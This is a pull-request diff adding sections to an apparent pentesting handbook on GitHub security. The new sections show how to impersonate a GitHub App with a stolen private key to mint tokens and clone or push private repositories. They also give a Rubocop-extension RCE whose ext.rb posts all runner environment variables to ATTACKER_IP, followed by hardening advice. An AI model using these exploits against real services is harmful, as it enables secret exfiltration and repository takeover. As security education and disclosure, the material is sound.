Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
173 changes: 172 additions & 1 deletion src/pentesting-ci-cd/github-security/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -164,6 +164,116 @@ An attacker might create a **malicious Github Application** to access privileged

Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.

#### Impersonate a GitHub App with its private key (JWT → installation access tokens)

If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:

- Generate a short‑lived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation

Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID

Create JWT (RS256):

```python
#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456" # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```

List installations for the authenticated app:

```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```

Create an installation access token (valid ≤ 10 minutes):

```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```

Use the token to access code. You can clone or push using the x‑access‑token URL form:

```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```

Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):

```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```

Notes:
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT

## Compromise & Abuse Github Action

There are several techniques to compromise and abuse a Github Action, check them here:
Expand All @@ -172,6 +282,60 @@ There are several techniques to compromise and abuse a Github Action, check them
abusing-github-actions/
{{#endref}}

## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)

Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.

Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.

- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)

Exploit files in the PR:

.rubocop.yml

```yaml
require:
- ./ext.rb
```

ext.rb (exfiltrate runner env vars):

```ruby
require 'net/http'
require 'uri'
require 'json'

env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```

Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.

Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)

Hardening guidelines for services running external tools:
- Treat repository‑provided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access

## Branch Protection Bypass

- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
Expand Down Expand Up @@ -235,7 +399,14 @@ jobs:

For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)

{{#include ../../banners/hacktricks-training.md}}
## References

- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)

{{#include ../../banners/hacktricks-training.md}}